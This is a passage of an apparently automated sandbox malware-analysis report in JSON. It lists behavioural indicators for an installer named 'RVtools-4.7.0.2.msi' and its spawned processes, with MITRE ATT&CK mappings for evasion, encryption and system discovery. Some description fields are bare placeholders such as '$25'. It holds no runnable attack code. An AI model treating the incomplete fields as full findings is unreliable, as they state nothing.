\"RVtools-4.7.0.2.msi\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"SetTimer\" (Indicator: \"SetTimer\"; File: \"RVtools-4.7.0.2.msi\")\n file/memory contains long string with (Indicator: \"WaitForSingleObject\"; File: \"nsExec.dll\")\n Found reference to API \"SetTimer\" (Indicator: \"SetTimer\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")\n Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify data representation (Powershell command string)","description":"file/memory contains long string with (Indicator: \"ConvertTo-SecureString\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify system service (API string)","description":"$25","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-192","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"$26","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform remote procedure calls (API string)","description":"Found reference to API \"RpcStringFreeW\" (Indicator: \"RpcStringFree\"; File: \"RVtools-4.7.0.2.msi\")","origin":"File/Memory","mitre_attack_id":"T1021","relevance":1,"id":"string-160","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"$27","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00001196.00000000.263272.0040A000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00001196.00000001.265194.0040A000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00007744.00000000.264689.60A20000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00007744.00000002.268528.638F0000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Loads the debugger/analysis tool module","description":"\"EXPAND.EXE\" loaded module \"%WINDIR%\\SysWOW64\\dbghelp.dll\" at 71DB0000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$28","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$29","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Renames files","description":"$2a","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"RVtools-4.7.0.2.msi\")\n file/memory contains long string with (Indicator: \"GetTickCount\"; File: \"nsExec.dll\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"Found reference to API \"b64decode\" (Indicator: \"b64decode\"; Source: \"00000000-00001196.00000001.265194.0040A000.00000004.mdmp\")\n Found reference to API \"b64decode\" (Indicator: \"b64decode\"; Source: \"00000000-00007744.00000000.264689.62720000.00000004.mdmp, 00000000-00007744.00000001.266610.62720000.00000004.mdmp\")\n Found reference to API \"standard_b64decode\" (Indicator: \"b64decode\"; Source: \"00000000-00007744.00000000.264689.62720000.00000004.mdmp, 00000000-00007744.00000001.266610.62720000.00000004.mdmp\")\n Found reference to API \"urlsafe_b64decode\" (Indicator: \"b64decode\"; Source: \"00000000-00007744.00000000.264689.62720000.00000004.mdmp, 00000000-00007744.00000001.266610.62720000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to encrypt/encode message (API string)","description":"Found reference to API \"CryptStringToBinary: Hex data string to binary conversion\" (Indicator: \"CryptStringToBinary\"; File: \"00000000-00007268.00000000.264360.00F21000.00000020.mdmp\")\n Found reference to API \"CryptStringToBinaryW\" (Indicator: \"CryptStringToBinary\"; File: \"00000000-00007268.00000000.264360.00F21000.00000020.mdmp\")\n Found reference to API \"CryptStringToBinary: Hex data string to binary conversion\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00007268.00000000.264360.00F21000.00000020.mdmp\")\n Found reference to API \"CryptStringToBinaryW\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00007268.00000000.264360.00F21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-213","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"CryptDestroyHash\" (Indicator: \"CryptDestroyHash\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"CryptAcquireContextW\" (Indicator: \"CryptAcquireContext\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"CryptCreateHash\" (Indicator: \"CryptCreateHash\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"CryptHashData\" (Indicator: \"CryptHashData\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"CryptGetHashParam\" (Indicator: \"CryptGetHashParam\"; File: \"RVtools-4.7.0.2.msi\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains key cryptographic functions (API string)","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-195","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2d","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: YARA signature match - AES encryption\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2e","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$2f","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"file/memory contains long string with (Indicator: \"github.com\"; File: \"c_lexer.py\")\n file/memory contains long string with (Indicator: \"github.com\"; File: \"mono.py\")\n file/memory contains long string with (Indicator: \"github.com\"; File: \"plyparser.py\")","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"file/memory contains long string(File: \"MSIB386.tmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"RVtools-4.7.0.2.msi\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"RVtools-4.7.0.2.msi\")\n file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"nsExec.dll\")\n file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"MSIC2B7.tmp\")\n file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"MSIB386.tmp\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment using user register activity","description":"Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; File: \"RVtools-4.7.0.2.msi\")\n Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; File: \"RVtools-4.7.0.2.msi\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-663","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00004460-00000C2C-3101934137\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00004460-00000C2C-3101934835\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"EnumSystemLocalesA\" (Indicator: \"EnumSystemLocales\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; File: \"RVtools-4.7.0.2.msi\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpaceEx\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00001196.00000000.263272.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpaceEx\"; Source: \"00000000-00001196.00000000.263272.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp\")\n Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"file/memory contains long string with (Indicator: \"getaddrinfo\"; File: \"_socket.pyd\")\n Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00007744-00000C2C-3168677857\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetUserObjectInformationA\" in file \"RVtools-4.7.0.2.msi\"\n Found system information discovery API: \"GetEnvironmentStrings\" in file \"RVtools-4.7.0.2.msi\"\n Found system information discovery API: \"GetEnvironmentStringsW\" in file \"RVtools-4.7.0.2.msi\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in file \"RVtools-4.7.0.2.msi\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\"\n Found system information discovery API: \"ExpandEnvironmentStrings() - Expand the env strings in a REG_EXPAND_SZ\" in \"00000000-00007744.00000000.264689.607D0000.00000004.mdmp, 00000000-00007744.00000001.266610.607D0000.00000004.mdmp, 00000000-00007744.00000002.268528.607D0000.00000004.mdmp\"\n Found system information discovery API: \"ExpandEnvironmentStrings\" in \"00000000-00007744.00000000.264689.625F0000.00000004.mdmp, 00000000-00007744.00000001.266610.625F0000.00000004.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system driver type","description":"Found string \"ystem.Home.DriveType\" (Indicator: \".drivetype\"; Source: \"00000000-00004460.00000000.262966.03370000.00000002.mdmp\")\n Found string \"System.Home.DriveType\" (Indicator: \".drivetype\"; Source: \"00000000-00004460.00000000.262966.03500000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1025","relevance":1,"id":"string-713","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00001196.00000000.263272.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$30","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"start.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00004460)\n \"RVtools-4.7.0.2.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00001196)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"start.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00004460)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"start.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00004460)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"start.exe\" called \"GetForegroundWindow\" (UID: 00000000-00004460)\n \"UsbService86.exe\" called \"GetForegroundWindow\" (UID: 00000000-00007744)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"start.exe\" called \"EnumWindows\" with parameter \"468378848\" - (UID: 00000000-00004460)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"start.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00004460)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$31","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"RVtools-4.7.0.2.exe\" called \"GetVersionExA\" with parameter 940000000a000000000000005d5800000200000000074a0000004a00000000000000000000000000c88f6100000000000000000020eb19000200000010000000c0014a00000000000200000000004a00010000000800000000005f00740a4a0000000000700a4a00f0f11900febaf776080000000000000008000000ee0d9c4634f41900da916e7200005f000800000001000000 (UID: 00000000-00001196)\n \"UsbService86.exe\" called \"GetVersionExA\" with parameter 940000000a000000000000005d58000002000000007f00000000000000000000b0bbef6230020000c0fb0b6efc7f00000001000000000000b8fb0b6efc7f0000000000000000000080cbac95fc7f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1a0b6efc7f00000000000000000000b8fb0b6efc7f000000000000 (UID: 00000000-00007744)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"UsbService86.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00007744)\n \"UsbService86.exe\" called \"LookupAccountSidW\" with param Name Administrators (UID: 00000000-00007744)\n \"UsbService86.exe\" called \"LookupAccountSidW\" with param Name Performance Log Users (UID: 00000000-00007744)\n \"UsbService86.exe\" called \"LookupAccountSidW\" with param Name Performance Monitor Users (UID: 00000000-00007744)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"UsbService86.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00007744)\n \"UsbService86.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00007744)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"file/memory contains long string with (Indicator: \"IsWow64Process\"; File: \"nsExec.dll\")\n Found reference to API \"IsWow64Process2\" (Indicator: \"IsWow64Process\"; File: \"00000000-00001196.00000001.265194.0040A000.00000004.mdmp\")\n Found reference to API \"IsWow64Process2\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00001196.00000001.265194.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; File: \"RVtools-4.7.0.2.msi\")\n file/memory contains long string with (Indicator: \"FindWindowExW\"; File: \"nsExec.dll\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"RVtools-4.7.0.2.msi\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$32","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"file/memory contains long string with (Indicator: \"\"set \"; File: \"verifier.py\")\n file/memory contains long string with (Indicator: \"\"set \"; File: \"__init__.py\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"RVtools-4.7.0.2.msi\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"RVtools-4.7.0.2.msi\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"GetForegroundWindow\" (Indicator: \"GetForegroundWindow\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindow\"; File: \"RVtools-4.7.0.2.msi\")\n file/memory contains long string with (Indicator: \"FindWindow\"; File: \"nsExec.dll\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindow\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$33","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; File: \"RVtools-4.7.0.2.msi\")\n file/memory contains long string with (Indicator: 